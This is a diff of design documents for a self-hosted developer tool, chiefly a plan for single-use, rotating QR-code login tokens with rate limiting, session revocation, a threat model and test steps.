+  → RalphLoop listens → marks task complete → assigns next
+```
+
+### How Plan Items Map to Tasks
+```typescript
+// PlanItem has:
+interface PlanItem {
+  id: string;            // "P0-001"
+  content: string;       // "Implement error handling for API endpoints"
+  priority: 'P0' | 'P1' | 'P2';
+  dependencies: string[]; // ["P0-000"] — other PlanItem IDs
+  verificationCriteria: string;
+  testCommand: string;
+  tddPhase: 'setup' | 'test' | 'impl' | 'verify' | 'review';
+  complexity: 'low' | 'medium' | 'high';
+}
+
+// Task has:
+interface CreateTaskOptions {
+  prompt: string;
+  priority: number;
+  dependencies: string[];  // Task IDs
+  completionPhrase: string;
+  timeoutMs: number;
+}
+
+// Natural mapping: PlanItem.content → Task.prompt
+// PlanItem.dependencies → Task.dependencies
+// PlanItem.priority → Task.priority (P0=100, P1=50, P2=10)
+// PlanItem.verificationCriteria → verification task prompt
+```
+
+### Context Management for Long Runs
+- Auto-compact at ~110k tokens (configurable)
+- Auto-clear at ~140k tokens (configurable)
+- Respawn cycling: kill + restart session to reset context entirely
+- For Orchestrator: we want compact between phases, respawn between major milestones
+
+## Risk Assessment
+
+| Risk | Severity | Mitigation |
+|------|----------|------------|
+| Context overflow during complex phases | High | Auto-compact between tasks, respawn between phases |
+| Team agents not predictable | Medium | Orchestrate at session level, let Claude decide team delegation |
+| Plan too ambitious → infinite loop | High | Phase budgets (max attempts per phase), circuit breaker |
+| Verification too strict → blocks progress | Medium | Configurable strictness, human override via UI |
+| Single-line prompt limit | Medium | Use CLAUDE.md file for complex instructions, prompt references file |
+| Long planning phase delays execution | Low | Show plan for approval before execution |

+# QR Code Authentication Plan
+
+> Ephemeral, single-use auth tokens embedded in the tunnel QR code — scan to auto-authenticate, while the bare tunnel URL stays password-protected.
+
+## Problem
+
+When the Cloudflare tunnel is active, anyone who discovers the `*.trycloudflare.com` URL can access Codeman (they just need the Basic Auth password, or if no password is set, full open access). The QR code currently encodes the raw tunnel URL — it provides no additional security. We want:
+
+1. **Scanning the QR code** → seamless, instant access (no password prompt)
+2. **Having only the URL** → blocked by Basic Auth (no access without credentials)
+
+## Design
+
+### Core Concept: Ephemeral Single-Use QR Tokens
+
+The server maintains a rotating pool of short-lived, single-use tokens. The QR code encodes a short URL containing a lookup code that maps to the real token server-side. When scanned, the server validates the token, atomically consumes it, issues a session cookie, and redirects to `/`. The token is **not** the password — it's a separate, independent, ephemeral authentication pathway.
+
+```
+Desktop   → displays QR (auto-refreshes every 60s via SSE)
+QR Code   → https://abc-xyz.trycloudflare.com/q/Xk9mQ3
+Phone     → scans, GET /q/Xk9mQ3
+Server    → looks up short code via Map (hash-based, timing-safe)
+          → finds token record → validates TTL
+          → atomically consumes token (single-use)
+          → issues codeman_session cookie
+          → 302 redirect to /
+          → SSE push: new QR with embedded SVG for desktop display
+          → desktop toast: "Device [IP] authenticated via QR"
+          → audit log entry to session-lifecycle.jsonl
+User      → lands on app, fully authenticated
+```
+
+Someone who only has `https://abc-xyz.trycloudflare.com/` gets the standard Basic Auth prompt.
+
+### Token Properties
+
+| Property | Value |
+|----------|-------|
+| Length | 32 bytes (256 bits entropy) |
+| Generation | `crypto.randomBytes(32).toString('hex')` |
+| Short code | 6 chars base62, rejection-sampled (no modulo bias) |
+| Short code derivation | Independent random generation (not derived from token) |
+| Storage | In-memory `Map<shortCode, QrTokenRecord>` (no disk persistence) |
+| TTL | 60 seconds (auto-rotation via timer), 90s grace for previous token |
+| Effective window | Up to 90 seconds for the previous token (documented, not hidden) |
+| Usage | **Single-use** — atomically consumed on first valid scan |
+| URL format | Short code in path (`/q/Xk9mQ3`), not query params |
+| URL length | ~53-56 chars total — targets QR Version 4 (33x33) for fast scanning |
+| Scope | Only valid when `CODEMAN_PASSWORD` is set (no point without auth) |
+| Lookup | `Map.get()` — hash-based O(1), no timing side-channel |
+
+### Why This Design?
+
+**Why not embed the password directly?**
+- Password would appear in browser history, Cloudflare edge logs, and URL bars
+- Password can't be rotated independently from QR access
+
+**Why not a long-lived multi-use token? (original design)**
+- A static token is functionally a second password — if the QR image leaks (screenshot shared, shoulder surfing, Cloudflare logs), the attacker has permanent access
+- The USENIX Security 2025 paper ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) found 47 of the top-100 websites vulnerable due to exactly this pattern — missing single-use enforcement and long-lived tokens were 2 of the 6 critical design flaws identified
+
+**Why short codes in the URL path instead of query params?**
+- Query params (`?t=TOKEN`) leak into browser history, address bar, `Referer` headers, and Cloudflare edge logs
+- Path-based short codes (`/q/Xk9mQ3`) are opaque references — the real token never appears in URLs
+- Short codes are 6-char base62 (62^6 = 56.8 billion combinations), sufficient for lookup since they're backed by the full 256-bit token for validation and rate-limited to 10 attempts/IP
+- The short `/q/` path (vs `/qr-auth/`) saves 7 bytes, helping keep the QR at Version 4 (33x33 modules) instead of Version 5 (37x37) — faster scanning on budget phones

+
+## Implementation
+
+### 1. Token Manager — `src/tunnel-manager.ts`
+
+Add a `QrTokenRecord` type and token rotation logic to `TunnelManager`. The token rotates every 60 seconds. A consumed token is immediately replaced. Up to 2 tokens can be valid simultaneously (current + previous, to handle the race where someone scans right as rotation happens). The previous token has a 90s grace period (not a full extra 60s — only enough to cover the scan-during-rotation race).
+
+**Design decisions from security review:**
+- **Map-based lookup** (not array scan) — `Map.get()` uses hash-based O(1) lookup, eliminating timing side-channels from string comparison
+- **Rejection sampling** for short codes — avoids modulo bias (`256 % 62 != 0` gives 25% overrepresentation for first 6 charset chars)
+- **SVG cache** — stores generated QR SVG per rotation cycle to avoid regenerating on every `/api/tunnel/qr` poll
+- **Separate rate limit counter** — QR auth failures tracked independently from Basic Auth failures

+    if (now - record.createdAt > QR_TOKEN_GRACE_MS) return false;
+
+    // Atomic consume (single-threaded JS = no race)
+    record.consumed = true;
+    // Immediately rotate so desktop gets a fresh QR
+    this.rotateToken();
+    this.emit('qrTokenRegenerated');
+    return true;
+  }
+
+  /** Force-regenerate (manual revocation via API) */
+  regenerateQrToken(): void {
+    // Invalidate all existing tokens
+    this.qrTokensByCode.clear();
+    this.currentShortCode = null;
+    this.rotateToken();
+    this.emit('qrTokenRegenerated');
+  }
+
+  stopRotation(): void {
+    if (this.rotationTimer) {
+      clearInterval(this.rotationTimer);
+      this.rotationTimer = null;
+    }
+    if (this.qrRateLimitResetTimer) {
+      clearInterval(this.qrRateLimitResetTimer);
+      this.qrRateLimitResetTimer = null;
+    }
+  }
+}
+```
+
+### 2. Auth Middleware Bypass — `src/web/middleware/auth.ts`
+
+Add `/q/` to the bypass list (same pattern as `/api/hook-event`). The route handler itself handles token validation and rate limiting.
+
+```typescript
+// In the onRequest hook, add before Basic Auth check:
+if (req.url.startsWith('/q/')) {
+  done();  // Let the route handler deal with token validation
+  return;
+}
+```
+
+**Important**: Unlike `/api/hook-event` (localhost-only), `/q/` must be reachable from any IP (remote devices scan the QR). Rate limiting is handled by two independent mechanisms:
+1. **Per-IP rate limit** — reuses the `authFailures` StaleExpirationMap (10 attempts/IP/15min), but tracked via a **separate counter** from Basic Auth failures (so a user who fat-fingers their password doesn't burn their QR attempts)
+2. **Global path rate limit** — `TunnelManager.qrAttemptCount` caps total QR attempts to 30/minute across all IPs, defending against distributed brute force
+
+### 3. Auto-Auth Route — `src/web/routes/system-routes.ts`
+
+Add `GET /q/:code` as a top-level route (not under `/api/`):
+
+```typescript
+app.get('/q/:code', async (req, reply) => {
+  const shortCode = (req.params as { code: string }).code;
+  const authPassword = process.env.CODEMAN_PASSWORD;
+
+  // No point if auth isn't enabled
+  if (!authPassword) {
+    return reply.redirect('/');
+  }
+
+  // Per-IP rate limit (separate counter from Basic Auth failures)
+  const clientIp = req.ip;
+  const qrFailures = ctx.authState.qrAuthFailures?.get(clientIp) ?? 0;
+  if (qrFailures >= 10) {
+    return reply.code(429).send('Too Many Requests');
+  }
+
+  // Validate and atomically consume the token
+  // consumeToken() also checks the global rate limit (30/min across all IPs)
+  if (!shortCode || !ctx.tunnelManager.consumeToken(shortCode)) {
+    ctx.authState.qrAuthFailures?.set(clientIp, qrFailures + 1);
+    return reply.code(401).send('Invalid or expired QR code');
+  }
+
+  // Issue session cookie (same as Basic Auth success path)
+  const sessionToken = randomBytes(32).toString('hex');
+  const clientUA = req.headers['user-agent'] ?? '';
+  ctx.authState.authSessions?.set(sessionToken, {
+    ip: clientIp,
+    ua: clientUA,
+    createdAt: Date.now(),
+  });
+  ctx.authState.qrAuthFailures?.delete(clientIp);
+
+  // Audit log — write to session-lifecycle.jsonl for forensic analysis
+  ctx.lifecycleLog?.append({
+    event: 'qr_auth',
+    ip: clientIp,
+    ua: clientUA,
+    timestamp: Date.now(),
+    shortCodePrefix: shortCode.slice(0, 3) + '***', // partial for privacy
+  });
+
+  reply.setCookie(AUTH_COOKIE_NAME, sessionToken, {
+    httpOnly: true,
+    secure: ctx.https,
+    sameSite: 'lax',
+    maxAge: 86400,  // 24h
+    path: '/',
+  });
+
+  // Broadcast auth notification — desktop sees who authenticated (QRLjacking detection)
+  broadcast('tunnel:qrAuthUsed', {
+    ip: clientIp,
+    ua: clientUA,
+    timestamp: Date.now(),
+  });
+
+  return reply.redirect('/');
+});
+```
+
+### 4. Update QR Code URL — `src/web/routes/system-routes.ts`
+
+Modify `/api/tunnel/qr` to encode the short-code URL. Uses the `TunnelManager.getQrSvg()` cache — SVG is regenerated only when the token rotates, not on every request.
+
+```typescript
+app.get('/api/tunnel/qr', async (_req, reply) => {
+  const url = ctx.tunnelManager.getUrl();
+  if (!url) {
+    return reply.code(404).send(createErrorResponse(ApiErrorCode.NOT_FOUND, 'Tunnel not running'));
+  }
+
+  const authPassword = process.env.CODEMAN_PASSWORD;
+
+  // If auth is enabled, use the cached SVG with embedded short code
+  if (authPassword) {
+    const svg = await ctx.tunnelManager.getQrSvg(url);
+    return { svg, authEnabled: true };
+  }
+
+  // No auth — just encode the raw tunnel URL
+  const QRCode = require('qrcode');
+  const svg = await QRCode.toString(url, { type: 'svg', margin: 2, width: 256 });
+  return { svg, authEnabled: false };
+});
+```
+
+### 5. Token Regeneration Endpoint — `src/web/routes/system-routes.ts`
+
+Manual revocation — invalidates ALL existing tokens and creates a fresh one:
+
+```typescript
+app.post('/api/tunnel/qr/regenerate', async () => {
+  ctx.tunnelManager.regenerateQrToken();
+  return { success: true };
+});
+```
+
+### 6. Frontend Updates — `src/web/public/app.js`
+
+#### QR Overlay Changes
+
+- **Auto-refresh via inline SVG**: Listen for `tunnel:qrRotated` SSE events which now include the SVG directly in the payload — no extra HTTP fetch needed, sub-50ms refresh on desktop.
+- **Countdown indicator**: Small "expires in Xs" text under the QR that counts down from 60. Reassures the user the QR is live and not stale.
+- **Regenerate button**: "Regenerate QR" button. Calls `POST /api/tunnel/qr/regenerate` — SSE event delivers the new SVG.
+- **Auth badge**: Lock icon or "Single-use auth" label when auth is active.
+- **URL display**: Show the raw tunnel URL (not the auth URL) for manual copy — users who copy the URL authenticate via Basic Auth. The QR is the fast path.
+- **Auth notification toast**: When `tunnel:qrAuthUsed` fires, show a 10-second toast: "Device [IP] authenticated via QR (Safari). Not you? [Revoke]". This is the primary QRLjacking detection mechanism (USENIX Flaw-5).
+
+```javascript
+// Auto-refresh QR on rotation — SVG is inline in the event payload
+addListener('tunnel:qrRotated', (data) => {
+  if (data.svg) {
+    updateQrDisplay(data.svg);  // direct DOM update, no fetch
+  } else {
+    refreshTunnelQR();          // fallback: fetch from API
+  }
+});
+
+// Also refresh on manual regeneration
+addListener('tunnel:qrRegenerated', (data) => {
+  if (data.svg) {
+    updateQrDisplay(data.svg);
+  } else {
+    refreshTunnelQR();
+  }
+});
+
+// QRLjacking detection — notify desktop user when QR is consumed
+addListener('tunnel:qrAuthUsed', (data) => {
+  showNotificationToast(
+    `Device authenticated via QR (${parseUAFamily(data.ua)}, ${data.ip}). Not you?`,
+    {
+      duration: 10000,
+      action: { label: 'Revoke', onClick: () => revokeAllSessions() },
+    }
+  );
+});
+
+// In showTunnelQR(), after fetching /api/tunnel/qr:
+if (data.authEnabled) {
+  const badge = document.createElement('div');
+  badge.textContent = 'Single-use auth \u00b7 refreshes every 60s';
+  badge.style.cssText = 'margin-top:8px;font-size:11px;color:var(--text-secondary)';
+  container.parentElement.appendChild(badge);
+}
+```
+
+#### Welcome Screen QR
+
+Same auto-refresh behavior applies to `_updateWelcomeTunnelBtn()` — the QR is fetched from `/api/tunnel/qr` so token embedding happens automatically.
+
+### 7. SSE Events
+
+Three events for the frontend. QR rotation events embed the SVG directly in the payload to eliminate an extra HTTP fetch — the desktop gets the new QR in a single SSE push (~2-5KB SVG, well within SSE limits).
+
+```typescript
+// In server.ts, listen for tunnelManager events:
+
+// Auto-rotation every 60s — desktop refreshes QR silently (SVG inline)
+tunnelManager.on('qrTokenRotated', async () => {
+  const url = tunnelManager.getUrl();
+  if (url && process.env.CODEMAN_PASSWORD) {
+    const svg = await tunnelManager.getQrSvg(url);
+    broadcast('tunnel:qrRotated', { svg });
+  } else {
+    broadcast('tunnel:qrRotated', {});
+  }
+});
+
+// Manual regeneration or post-consumption — desktop refreshes QR (SVG inline)
+tunnelManager.on('qrTokenRegenerated', async () => {
+  const url = tunnelManager.getUrl();
+  if (url && process.env.CODEMAN_PASSWORD) {
+    const svg = await tunnelManager.getQrSvg(url);
+    broadcast('tunnel:qrRegenerated', { svg });
+  } else {
+    broadcast('tunnel:qrRegenerated', {});
+  }
+});
+
+// QR auth consumed — desktop shows notification toast (QRLjacking detection)
+// Note: this is broadcast from the route handler, not tunnelManager
+// Event: tunnel:qrAuthUsed { ip, ua, timestamp }
+```
+
+### 8. Session Cookie Binding & Revocation
+
+Enhance session records to include device context for audit purposes. The UA is stored for **logging only** — not for blocking.
+
+**Why no UA-family blocking (`majorUAChanged`)?** Security review found this is security theater:
+- UA strings are trivially spoofable by any attacker who can steal a cookie
+- Chrome UA reduction (2022+) makes family detection unreliable
+- Mobile WebView → browser switches trigger false positives on the same device
+- HttpOnly + Secure + SameSite=lax + 24h TTL already protect against cookie theft
+- The attacker who can exfiltrate a cookie can also replay the exact UA
+
+Instead, provide **manual session revocation** as the active defense:
+
+```typescript
+// Session record stores device context for audit logging (not blocking):
+ctx.authState.authSessions?.set(sessionToken, {
+  ip: clientIp,
+  ua: req.headers['user-agent'] ?? '',
+  createdAt: Date.now(),
+  method: 'qr',  // 'qr' | 'basic' — tracks how session was created
+});
+
+// Manual revocation endpoint — kill specific session or all sessions
+app.post('/api/auth/revoke', async (req, reply) => {
+  const { sessionToken: target } = req.body as { sessionToken?: string };
+  if (target) {
+    ctx.authState.authSessions?.delete(target);
+  } else {
+    // Revoke all sessions (nuclear option)
+    ctx.authState.authSessions?.clear();
+  }
+  return { success: true };
+});
+```
+
+**Note**: This is a breaking type change. The `AuthState` interface must be updated from `StaleExpirationMap<string, string>` (token → clientIp) to `StaleExpirationMap<string, { ip, ua, createdAt, method }>`. All session validation code in `auth.ts` must be updated simultaneously.
+
+### 9. Cleanup — `src/tunnel-manager.ts`
+
+Stop the rotation timer in the `stop()` method:
+
+```typescript
+stop(): void {
+  this.stopRotation();
+  // ... existing cleanup
+}
+```
+
+## Security Analysis
+
+### Threat Model
+
+| Threat | Attack Vector | Mitigation | Residual Risk |
+|--------|--------------|------------|---------------|
+| **QR screenshot shared** | Attacker gets image of QR code | Single-use: token consumed on first scan. 60s TTL: expired by the time attacker tries. Desktop toast notification alerts user if someone else scans. | If attacker scans faster than legitimate user (~seconds), they win the race. Low risk: requires physical proximity + speed. User sees notification and can revoke. |
+| **Cloudflare edge logs** | Cloudflare logs the full URL path | Short code is opaque (6-char lookup key), not the real token. Single-use: replaying from logs always fails. 60s TTL (90s grace): expired before log review. `trycloudflare.com` quick tunnels have no customer-accessible logging controls — the privacy implications are inherent to using free quick tunnels. | Cloudflare has TLS termination access regardless. Ephemeral short codes are far less valuable than a permanent token. |
+| **Brute force short code** | Attacker guesses `/q/XXXXXX` | Per-IP rate limiting (10/IP/15min) + global path rate limit (30/min across all IPs). 62^6 = 56.8 billion combinations. Only ~2 valid codes at any time. | Infeasible: expected guesses to hit = ~2.8×10^10, rate limits block well before. |
+| **Replay attack** | Reuse a previously valid URL | Single-use consumption + 60s TTL (90s grace). Old codes always 401. | None — replay is impossible by design. |
+| **QRLjacking** | Attacker displays your QR on phishing site | No companion app = limited mitigation. However: 60s rotation means attacker must relay in real-time. Desktop toast notification ("Device [IP] authenticated via QR. Not you? [Revoke]") provides real-time detection. Self-hosted single-user context makes phishing implausible. | Theoretical risk for multi-user deployments. Mitigated by notification toast for single-user. Note: Signal's linked-device QR flow was exploited by Russian state actors (UNC5792/Sandworm) via quishing in 2025 — but that targeted a multi-user messaging platform, not a self-hosted dev tool. |
+| **Session cookie theft** | XSS or network sniffing steals cookie | HttpOnly + Secure flags. SameSite=lax prevents CSRF. 24h TTL limits exposure window. Manual revocation via `/api/auth/revoke`. | Standard web cookie risks apply. Mitigated by security headers (CSP, etc.). |
+| **Token in server logs** | Access log captures URL path | Log `/q/*` with short code masked or omitted. Configure Fastify logger to redact `/q/` paths. | Path still appears in server access logs (mitigated by masking). |
+| **Timing attack** | Measure response time to leak short code | Map-based lookup (`Map.get()`) — hash-based O(1), no character-by-character timing leak. No string comparison in the hot path. | None — timing side channel eliminated by design. |
+| **Token not in query params** | N/A (this is a mitigation) | Short code in URL path avoids browser history, Referer headers, and address bar exposure. | Path still appears in server access logs (mitigated by masking). |
+| **Distributed brute force** | Multiple IPs guess codes simultaneously | Global rate limit (30/min total across all IPs) in addition to per-IP limit. | Infeasible given keyspace. Global limit prevents botnet-scale attempts. |
+| **CSRF on regenerate** | Cross-origin POST to `/api/tunnel/qr/regenerate` | SameSite=lax cookies are NOT sent with cross-origin POST requests, providing CSRF protection. Endpoint requires authenticated session. | Verify SameSite=lax behavior through cloudflared tunnel. |

+### USENIX Security 2025 Flaw Coverage
+
+The [Zhang et al. paper](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) (USENIX Security 2025, 47 of top-100 websites vulnerable, 42 CVEs) identified 6 critical design flaws. Coverage:
+
+| USENIX Flaw | Status | Implementation |
+|-------------|--------|----------------|
+| Flaw-1: Missing single-use enforcement | **Fixed** | Atomic `consumed` flag, Map-based lookup |
+| Flaw-2: Long-lived tokens | **Fixed** | 60s TTL, 90s grace, auto-rotation |
+| Flaw-3: Predictable QrId generation | **Fixed** | `crypto.randomBytes(32)` — 256-bit entropy, rejection-sampled short codes |
+| Flaw-4: Client-side QrId generation | **Fixed** | Server-side generation only |
+| Flaw-5: Missing status notification | **Fixed** | Desktop toast notification via `tunnel:qrAuthUsed` SSE event. Shows device IP/UA with [Revoke] button. |
+| Flaw-6: Inadequate session binding | **Partial** | IP + UA stored for audit. No cryptographic channel binding (requires companion app / FIDO2 — overkill for single-user). Manual revocation as active defense. |
+
+### Industry Comparison
+
+| Platform | Model | How This Plan Compares |
+|----------|-------|----------------------|
+| **Discord** | Long-lived session token, no confirmation, repeatedly exploited via QRLjacking | **Better** — single-use + TTL + notification toast |
+| **WhatsApp Web** | Pre-authenticated phone confirms "Link device?", ~60s rotation | **Comparable** rotation model; missing WhatsApp's explicit confirmation prompt (acceptable: single-user, no account selection) |
+| **Signal** | Ephemeral public key in QR, E2E encrypted channel via Signal protocol | **Below** — no cryptographic channel binding. Note: Signal's QR flow was exploited by state actors in 2025 despite stronger crypto, showing that protocol strength alone doesn't prevent social engineering. |
+| **1Password** | Noise framework E2E channel, post-quantum pre-shared keys, confirmation codes | **Below** — but 1Password is a credential manager with different threat model. Overkill for a dev tool. |
+| **FIDO2 CTAP 2.2** | BLE proximity + cryptographic binding + biometric verification | **Below** — but requires BLE stack, FIDO server, and companion authenticator. Completely inappropriate here. |
+
+### Comparison to Prior Design
+
+| Property | Original Plan | Current Plan |
+|----------|--------------|--------------|
+| Token TTL | Infinite (until restart) | 60 seconds (90s grace for previous token) |
+| Reuse | Multi-use (same QR works forever) | Single-use (consumed atomically on first scan) |
+| Secret in URL | Query param (`?t=64-char-hex`) | Opaque short code in path (`/q/Xk9mQ3`) |
+| Leak impact | Permanent access until manual revoke | Worthless after first use or 90s, whichever comes first |
+| Desktop QR refresh | Manual only | Auto-refresh every 60s via SSE with inline SVG |
+| Session binding | IP only | IP + UA stored for audit (not blocking). Manual revocation endpoint. |
+| Auth notification | None | Desktop toast: "Device [IP] authenticated via QR. Not you? [Revoke]" |
+| Audit logging | None | `session-lifecycle.jsonl` entry on every QR auth event |
+| Rate limiting | Per-IP only, shared with Basic Auth | Per-IP (separate counter) + global path limit (30/min) |
+| Short code generation | Modulo-biased | Rejection-sampled (no bias) |
+| Short code lookup | Array scan (timing leak) | Map-based O(1) (timing-safe) |
+| Connect latency | ~50ms (localhost only) | ~150-300ms through Cloudflare tunnel (honest estimate) |
+
+### What This Does NOT Protect Against
+
+- **FIDO2/passkey-level phishing resistance**: Would require BLE proximity verification and cryptographic channel binding. Overkill for a self-hosted single-user dev tool. The FIDO2 CTAP 2.2 hybrid transport is the gold standard but requires BLE hardware and a companion authenticator.
+- **Compromised phone**: If the attacker has physical access to the phone that scans, no QR scheme helps.
+- **Compromised Cloudflare tunnel**: Cloudflare terminates TLS and can inspect all traffic. This is inherent to using `trycloudflare.com` quick tunnels — use `--https` for end-to-end encryption if this matters.
+- **State-sponsored quishing**: Sophisticated attackers could create convincing phishing pages that relay the QR in real-time. The 60s rotation and desktop notification toast mitigate this for the single-user case, but a dedicated attacker with social engineering could theoretically succeed within the TTL window.
+
+### Standards Compliance Note
+
+This design is **inspired by but does not conform to** [OASIS SQRAP v1.0](https://docs.oasis-open.org/esat/sqrap/v1.0/cs01/sqrap-v1.0-cs01.html). SQRAP's architecture requires a companion mobile app with stored identity keys, public key channel binding, back-channel authentication, and user presence verification (biometric/PIN). These are fundamentally incompatible with a browser-scan-to-authenticate flow. SQRAP is referenced for awareness of formal QR auth standards, not as a compliance target.
+
+## Performance
+
+The design prioritizes speed on connect. Latency depends on whether the request goes through a Cloudflare tunnel or is localhost:
+
+### Localhost (no tunnel)
+
+| Step | Latency |
+|------|---------|
+| QR scan (physical) | ~1-2s (user action) |
+| `GET /q/:code` → Map.get() lookup + consume | <1ms |
+| Cookie set + 302 redirect | <1ms |
+| Browser follows redirect to `/` | <5ms |
+| **Total (after scan)** | **<10ms** |
+
+### Through Cloudflare Tunnel (typical mobile use case)
+
+Each request traverses: phone → Cloudflare edge (TLS termination) → cloudflared → localhost. The 302 redirect means **two full round trips** through the tunnel.
+
+| Step | Latency |
+|------|---------|
+| QR scan (physical) | ~1-2s (user action) |
+| DNS resolution for `*.trycloudflare.com` | 20-80ms (first request, cached after) |
+| TLS handshake to Cloudflare edge | 50-100ms (first request, 0 with TLS resumption) |
+| `GET /q/:code` through tunnel (request + response) | 30-90ms |
+| Browser follows 302 redirect: `GET /` through tunnel | 30-90ms |
+| **Total first connection (cold)** | **~200-400ms** |
+| **Total subsequent (TLS/DNS cached)** | **~100-200ms** |
+
+This is still fast — **imperceptible after the 1-2s physical QR scan action**. For comparison, VS Code Remote Tunnels (through Azure) adds 20-100ms per hop.
+
+### Why Not Eliminate the Redirect?
+
+The 302 means two round trips. Alternatives considered:
+- **200 + serve `index.html` directly**: URL bar shows `/q/Xk9mQ3`, relative paths break, couples auth to static serving. Not worth the complexity.
+- **200 + `<meta http-equiv="refresh">`**: Still two requests, plus HTML parse delay. Actually slower.
+- **200 + JavaScript redirect**: Same problem, plus fails if JS disabled.
+
+The 302 is clean, universally supported, and the extra 30-90ms is invisible to users.
+
+### QR Code Size Optimization
+
+The URL `https://xxx-yyy.trycloudflare.com/q/Xk9mQ3` is ~53-56 characters. At QR Error Correction Level M:
+
+| QR Version | Grid Size | Byte Capacity | Fits? |
+|------------|-----------|---------------|-------|
+| Version 3 | 29x29 | 42 bytes | No |
+| Version 4 | 33x33 | 62 bytes | Yes (comfortably) |
+| Version 5 | 37x37 | 84 bytes | Yes |
+
+The shortened `/q/` path (vs `/qr-auth/`) and 6-char code (vs 8-char) save 9 bytes, targeting Version 4 (33x33) for faster scanning on budget Android phones. Modern phones scan Version 4 QR codes in 100-300ms — the user action of pointing the camera dominates.
+
+### Desktop QR Refresh
+
+Token rotation SSE events now embed the SVG directly in the payload (~2-5KB). The desktop gets the new QR in a single SSE push — no extra HTTP fetch needed. Refresh latency: **sub-50ms** (SSE adaptive batching at 16-50ms).
+
+### SVG Caching
+
+QR SVG is cached per rotation cycle on `TunnelManager.cachedQrSvg`. The SVG is regenerated only when the token rotates (every 60s), not on every `/api/tunnel/qr` request. SVG format is optimal: resolution-independent (retina-safe), inline-able (no extra HTTP request), ~2-5KB, renders in <1ms.
+
+## Edge Cases
+
+1. **Scan during rotation**: The server keeps 2 tokens (current + previous). If the user scans right as rotation happens, the previous token is still valid for up to 60s more. Seamless.
+
+2. **Server restart**: All tokens cleared (in-memory). New token generated immediately. Tunnel URL also changes (trycloudflare gives a new subdomain), so old QR codes are doubly dead.
+
+3. **Multiple devices**: Each scan consumes the token and triggers a fresh one. To auth a second device, wait for the QR to refresh (≤60s) or hit "Regenerate QR" on the desktop, then scan the new code.
+
+4. **Token without tunnel**: `/qr-auth/:code` works even on localhost. If you have the code and it's valid, you get authenticated regardless of access method.
+
+5. **Tunnel restart (same server)**: Tokens survive tunnel restarts (stored on `TunnelManager` instance). But new tunnel URL = new QR code generated. Short code stays valid until consumed or expired.
+
+6. **Desktop browser closed during scan**: Token is consumed server-side. The scanning phone gets authenticated. When the desktop reopens, SSE reconnects and shows a fresh QR. No state corruption.
+
+7. **Race condition: two phones scan same QR**: First scanner wins (atomic `consumed = true`). Second scanner gets 401. This is correct behavior — single-use by design.
+
+## Files to Modify
+
+| File | Changes |
+|------|---------|
+| `src/tunnel-manager.ts` | `QrTokenRecord` type, `Map<shortCode, record>` token pool, rejection-sampled `generateShortCode()`, rotation timer, `consumeToken()`, `getCurrentShortCode()`, `getQrSvg()` (cached), `regenerateQrToken()`, global rate limit counter, cleanup in `stop()` |
+| `src/web/middleware/auth.ts` | Add `/q/` bypass in `onRequest` hook. Enhance session record type from `string` to `{ ip, ua, createdAt, method }` (**breaking type change** — all consumers must update). Add `qrAuthFailures` StaleExpirationMap (separate from Basic Auth `authFailures`). |
+| `src/web/routes/system-routes.ts` | Modify `/api/tunnel/qr` to use `getQrSvg()` cache. Add `GET /q/:code` with atomic consume, audit log, and `tunnel:qrAuthUsed` broadcast. Add `POST /api/tunnel/qr/regenerate`. Add `POST /api/auth/revoke`. |
+| `src/web/server.ts` | Pass `authState` + `lifecycleLog` to route context. Listen for `qrTokenRotated` and `qrTokenRegenerated` events → broadcast SSE with inline SVG. |
+| `src/web/public/app.js` | Auto-refresh QR from inline SSE SVG payload (no extra fetch). Countdown timer. Regenerate button. Auth badge. Auth notification toast on `tunnel:qrAuthUsed` with [Revoke] action. |
+| `src/session-lifecycle-log.ts` | Add `qr_auth` event type to lifecycle log schema |
+| `src/types/api.ts` | Update `AuthState` interface: `authSessions` value type, add `qrAuthFailures` map |
+
+## Complexity Estimate
+
+Medium change. Core logic (Map-based token pool, rejection-sampled short codes, SVG cache, atomic consumption, cookie issuance, audit logging) is ~120 lines. Rate limiting (separate QR counter + global path limit) adds ~20 lines. SSE plumbing with inline SVG adds ~30 lines. Frontend (inline SVG refresh, auth notification toast with revoke, countdown) is ~40 lines. Auth type migration (session record type change) touches ~10 lines across middleware. No new dependencies — `crypto` and `qrcode` are already available.
+
+## Testing
+
+### Automated
+
+```bash
+# Unit test for token manager
+npx vitest run test/qr-auth.test.ts
+```
+
+Test cases:
+- Token rotation generates unique short codes (6-char, base62)
+- Short codes have uniform character distribution (no modulo bias — verify with chi-squared test over 10K samples)
+- `consumeToken()` returns true on first use, false on second
+- Expired tokens (>90s old) return false
+- Previous token still works during 90s grace period
+- Token at exactly 60s still valid (within grace), token at 91s rejected
+- `regenerateQrToken()` invalidates all existing tokens (Map cleared)

+### Manual
+
+1. Start server with `CODEMAN_PASSWORD=test`
+2. Enable tunnel
+3. Verify `/api/tunnel/qr` returns QR encoding `https://...trycloudflare.com/q/Xk9mQ3`
+4. Open the QR URL in incognito → should auto-redirect to `/` with session cookie
+5. Verify desktop shows notification toast: "Device [IP] authenticated via QR"
+6. Open the **same** URL again → should get 401 (single-use consumed)
+7. Wait 60s → verify QR display auto-updated (new short code, inline SVG via SSE)
+8. Open just the tunnel URL → should get Basic Auth prompt
+9. Call `POST /api/tunnel/qr/regenerate` → old QR URL returns 401, new QR appears
+10. Verify per-IP rate limiting: 10+ failed `/q/badcode` → 429
+11. Verify Basic Auth failures don't consume QR rate limit budget (and vice versa)
+12. Check `~/.codeman/session-lifecycle.jsonl` for `qr_auth` entries after successful scan
+13. Click [Revoke] on the notification toast → verify session is invalidated

+# Reliable input delivery (exactly-once, durable)
+
+## The bug this fixes
+
+With local echo on, pressing Enter cleared the overlay and then sent the prompt
+over the WebSocket **fire-and-forget** (`ws.send({t:'i',d})`). On a flaky link
+(e.g. a moving train) the socket is frequently *half-open*: `readyState === OPEN`
+so `ws.send()` does **not** throw, but the underlying TCP is dead, so the frame is
+silently discarded. Nothing was enqueued (the send "succeeded"), the on-screen
+prompt was already wiped, and `navigator.onLine` stays `true` — so a long typed
+prompt vanished with no trace and no resend.
+
+## The guarantee
+
+Every byte of user input is **recorded durably before delivery** and **only
+dropped once the server ACKs it** — so a half-open socket, a reconnect, or a page
+reload can never lose input. Redelivery is **exactly-once**: the server applies
+each `(clientId, seq)` at most once, so a resend can't type the prompt twice.
+
+## How it works
+
+### Client (`app.js`)
+
+- A stable **`clientId`** (`localStorage['codeman:clientId']`) identifies this
+  browser to the server's dedup across reconnects and reloads.
